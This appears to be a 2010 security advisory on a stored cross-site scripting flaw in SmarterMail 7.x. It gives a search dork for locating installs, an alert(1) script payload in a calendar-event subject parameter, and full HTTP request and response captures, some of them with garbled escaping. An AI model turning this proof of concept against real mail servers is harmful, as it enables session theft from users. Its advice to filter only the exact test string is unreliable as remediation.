SmarterMail 7.x Cross Site Scripting

`Source URL  
http://cloudscan.blogspot.com/2010/10/vendor-smartertoolscom-smartermail-7x.html  
########################################################################  
# Vendor: smartertools.com SmarterMail 7.x (7.2.3925)  
# Date: 2010-10-01  
# Author : David Hoyt (sqlhacker) – Hoyt LLC  
# Contact : [email protected]  
# Home : http://cloudscan.me  
# Dork : insite: SmarterMail Enterprise 7.1  
# Bug : Cross Site Scripting - STORED  
# Tested on : SmarterMail 7.x (7.2.3925) // Windows 2008 /64/R2  
# Uncoordinated Disclosure  
########################################################################  
ABSTRACT  
--------------------------  
It is important for application developers to penetration test  
their products prior to release in order to find potential vulnerabilities  
and correct them before fraudsters exploit them.  
DISCLOSURE PURPOSE  
--------------------------  
Applications for wide-scale deployment must be delivered with an exploit  
surface that is manageable.  
Developers failing to properly screen applications prior to release are at  
risk of uncoordinated disclosure.  
SECURITY COMMENTS  
--------------------------  
Server Application developers should explicitly be detailing the exploit  
surface  
modeling performed on an application as part of the software development  
lifecycle  
prior to and as part of a candidate release.  
System Admins need to take a trust-no-one approach when installing Server  
and Client Applications for wide-scale deployment.  
ENGAGEMENT TOOLS  
--------------------------  
I am using Immunity Debugger, Burp Suite Pro 1.3.08, Netsparker, Metasploit,  
NeXpose, XSS_Rays,  
FuzzDB as a baseline set of engagement tools that are being used to perform  
this analysis.  
DISCUSSION AND ANALYSIS  
--------------------------  
SmarterMail 7.x (7.2.3925) was released on 10/1/2010 and was to have  
addressed a number of  
issues identified in CVE's  
http://cve.mitre.org/cgi-bin/cvename.cgi?name=2010-3425 and  
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2010-3486.  
This advisory addresses Cross Site Scripting vulnerabilities found in  
SmarterMail 7.x (7.2.3925).  
Additional advisories will be released as we develop a bullet proof audit  
trail.  
Further advisories will focus on security by obscurity in SmarterMail.  
My prior work focused on the Cross Site Scripting (Reflected) found in  
various URL/Param combos.  
The most recent release added in the special feature of Cross Site  
Scripting, Stored.  
This is an unwelcome additional to the exploit surface map of SmarterMail  
7.x (7.2.3925).  
AUDIT TRAIL  
--------------------------  
Cross-site scripting (stored)  
Summary  
Severity: High  
Confidence: Certain  
Host: http://vulnerable.smartermail.site:9998  
Path: /Main/frmToday.aspx  
Issue detail  
The value of the ctl00%24MPH%24SubjectBox_SettingText request parameter  
submitted to the URL /Main/Calendar/frmEvent.aspx is copied into the HTML  
document as plain text between tags at the URL /Main/frmToday.aspx. The  
payload f5d23<script>alert(1)</script>eb582083b9d was submitted in the  
ctl00%24MPH%24SubjectBox_SettingText parameter. This input was returned  
unmodified in a subsequent request for the URL /Main/frmToday.aspx.  
This proof-of-concept attack demonstrates that it is possible to inject  
arbitrary JavaScript into the application's response.  
Issue background  
Stored cross-site scripting vulnerabilities arise when data which originated  
from any tainted source is copied into the application's responses in an  
unsafe way. An attacker can use the vulnerability to inject malicious  
JavaScript code into the application, which will execute within the browser  
of any user who views the relevant application content.  
The attacker-supplied code can perform a wide variety of actions, such as  
stealing victims' session tokens or login credentials, performing arbitrary  
actions on their behalf, and logging their keystrokes.  
Methods for introducing malicious content include any function where request  
parameters or headers are processed and stored by the application, and any  
out-of-band channel whereby data can be introduced into the application's  
processing space (for example, email messages sent over SMTP which are  
ultimately rendered within a web mail application).  
Stored cross-site scripting flaws are typically more serious than reflected  
vulnerabilities because they do not require a separate delivery mechanism in  
order to reach targe users, and they can potentially be exploited to create  
web application worms which spread exponentially amongst application users.  
Note that automated detection of stored cross-site scripting vulnerabilities  
cannot reliably determine whether attacks that are persisted within the  
application can be accessed by any other user, only by authenticated users,  
or only by the attacker themselves. You should review the functionality in  
which the vulnerability appears to determine whether the application's  
behaviour can feasibly be used to compromise other application users.  
Issue remediation  
In most situations where user-controllable data is copied into application  
responses, cross-site scripting attacks can be prevented using two layers of  
defences:  
Input should be validated as strictly as possible on arrival, given the kind  
of content which it is expected to contain. For example, personal names  
should consist of alphabetical and a small range of typographical  
characters, and be relatively short; a year of birth should consist of  
exactly four numerals; email addresses should match a well-defined regular  
expression. Input which fails the validation should be rejected, not  
sanitised.  
User input should be HTML-encoded at any point where it is copied into  
application responses. All HTML metacharacters, including < > " ' and =,  
should be replaced with the corresponding HTML entities (< > etc).  
In cases where the application's functionality allows users to author  
content using a restricted subset of HTML tags and attributes (for example,  
blog comments which allow limited formatting and linking), it is necessary  
to parse the supplied HTML to validate that it does not use any dangerous  
syntax; this is a non-trivial task.  
Request 1  
POST /Main/Calendar/frmEvent.aspx?popup=true HTTP/1.1  
Accept: */*  
Accept-Language: en-us  
Referer:  
http://vulnerable.smartermail.site:9998/Main/Calendar/frmEvent.aspx?popup=true  
#  
x-microsoftajax: Delta=true  
Content-Type: application/x-www-form-urlencoded; charset=utf-8  
Cache-Control: no-cache  
Accept-Encoding: gzip, deflate  
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64;  
Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)  
Host: vulnerable.smartermail.site:9998  
Proxy-Connection: Keep-Alive  
Pragma: no-cache  
Cookie: SelectedLanguage=;  
settings=H5GbaO2pH2bvXZExKCiPdHE7axylgs8WH39iPtq7au4%3d; SM5Skin=Default;  
STTTState=;  
STHashCookie={"CountsGuid":"1085934378","TopBarSection":"UserContacts"};  
ASP.NET_SessionId=qjssfcanzjka5f45mn3elp55  
Content-Length: 27088  
ctl00%24ScriptManager1=ctl00%24ScriptManager1%7Cctl00%24BPH%24SaveTextImageButton&ctl00%24TPH%24TabStrip%24SelectedTab=ctl00_TPH_TabStrip_Tab1&ctl00%24MPH%24VisiblePage=ctl00_MPH_OptionsTab&ctl00%24MPH%24SubjectBox_SettingText=f5d23<\\//script>alert(1)<\\/script>eb582083b9d&ctl00%24MPH%24InviteBox=&ctl00_MPH_InviteBox_ClientState=%7B%22logEntries%22%3A%5B%5D%2C%22value%22%3A%22%22%2C%22text%22%3A%22%22%2C%22enabled%22%3Atrue%7D&ctl00%24MPH%24LocationBox_SettingText=anyt  
...[SNIP]...  
  
Request 2  
GET /Main/frmToday.aspx HTTP/1.1  
Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg,  
application/x-ms-application, application/x-ms-xbap,  
application/vnd.ms-xpsdocument, application/xaml+xml, */*  
Referer: http://vulnerable.smartermail.site:9998/Default.aspx  
Accept-Language: en-us  
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; WOW64;  
Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)  
Accept-Encoding: gzip, deflate  
Host: vulnerable.smartermail.site:9998  
Proxy-Connection: Keep-Alive  
Cookie: ASP.NET_SessionId=qjssfcanzjka5f45mn3elp55; SelectedLanguage=;  
settings=H5GbaO2pH2bvXZExKCiPdHE7axylgs8WH39iPtq7au4%3d; SM5Skin=Default  
  
Response 2  
HTTP/2.0 200 OK  
Server: SmarterTools/2.0.3925.24451  
Date: Sat, 02 Oct 2010 00:29:05 GMT  
X-AspNet-Version: 2.0.50727  
X-Compressed-By: HttpCompress  
Cache-Control: private  
Content-Type: text/html; charset=utf-8  
Connection: Close  
Content-Length: 1294009  
  
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "  
http://www.w3.org/TR/html4/strict.dtd">  
<html xmlns="http://www.w3.org/1999/xhtml">  
<head id="ctl00_Head1"><title>  
My Today Page - hoytllc.  
...[SNIP]...  
<a href="#"  
onclick="OpenNewMessage('Calendar/frmEvent.aspx?edit=b0f7be7eec69411b82be79429c806520&returnTo=frmToday',  
600,400);">f5d23<\\script>alert(1)<\\/script>eb582083b9d</a<file://script%3ealert(1)%3c///script%3Eeb582083b9d%3C/a>  
>  
...[SNIP]...  
  
REMEDIATION SOLUTION  
------------------------  
Smartertools should engage qualified resources for screening their products  
for vulnerabilities.  
Releasing updates without proper security screening puts a target bullseye  
on the application  
and causes customers to walk away and ask for refunds (witness my own  
actions).  
Some of the most basic programming errors are still present in the current  
release of SmarterMail 7.x (7.2.3925)  
I'm pusing an update to my clients now on this Stored XSS issue..  
Simply filter out  
f5d23<\\script>alert(1)<\\/script>eb582083b9d<file://script%3ealert(1)%3c///script%3Eeb582083b9d>  
  
`